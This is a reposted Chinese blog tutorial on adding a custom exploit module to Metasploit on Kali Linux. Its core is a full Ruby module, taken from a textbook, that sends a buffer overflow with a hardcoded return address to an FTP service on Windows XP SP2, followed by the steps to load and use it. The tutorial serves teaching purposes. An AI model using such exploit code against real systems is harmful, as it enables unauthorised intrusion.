• 给kali的Metasploit下添加一个新的exploit


    转载:https://blog.csdn.net/SilverMagic/article/details/40978081

    • 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest

    • 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)
    1.  
      root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls
    2.  
      0day1.rb
    3.  
      root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb
    4.  
      ##
    5.  
      # This module requires Metasploit: http//metasploit.com/download
    6.  
      # Current source: https://github.com/rapid7/metasploit-framework
    7.  
      ##
    8.  
      require 'msf/core'
    9.  
      class Metasploit3 < Msf::Exploit::Remote
    10.  
      include Msf::Exploit::Remote::Ftp
    11.  
      def initialize(info = {})
    12.  
      super(update_info(info,
    13.  
      'Name' => 'security test',
    14.  
      'Description' => %q{
    15.  
      This module exploits a buffer overflow.
    16.  
      },
    17.  
      'Author' => 'fwd',
    18.  
      'License' => MSF_LICENSE,
    19.  
      'Privileged' => true,
    20.  
      'Payload' =>
    21.  
      {
    22.  
      'Space' => 300,
    23.  
      'BadChars' => "x00",
    24.  
      },
    25.  
      'Platform' => 'win',
    26.  
      'Targets' =>
    27.  
      [
    28.  
      [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7c809f83 } ],
    29.  
      ]))
    30.  
      end
    31.  
       
    32.  
      def exploit
    33.  
      connect
    34.  
      attack_buf = 'a'*200
    35.  
      attack_buf += [target.ret].pack('V')
    36.  
      attack_buf += payload.encoded
    37.  
      sock.put(attack_buf)
    38.  
      handler
    39.  
      disconnect
    40.  
      end
    41.  
      end
    42.  
      root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#
    • 在控制台下启动metasploit

    • 在msf提示符下输入reload_all重新加载所有模块

    • 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全,如果不能补全说明就有问题)

  • 相关阅读:
    内网穿透事件参考
    mysql的优化总结
    linux切换普通用户遇bash-4.1解决
    python爬虫匹配实现步骤
    restful设计参考
    php扩展安装
    python算术
    python 文件操作
    python生成器
    Spring框架的事务管理之基于AspectJ的XML方式(重点掌握)
  • 原文地址:https://www.cnblogs.com/kuangke/p/11195799.html
Copyright © 2020-2023  润新知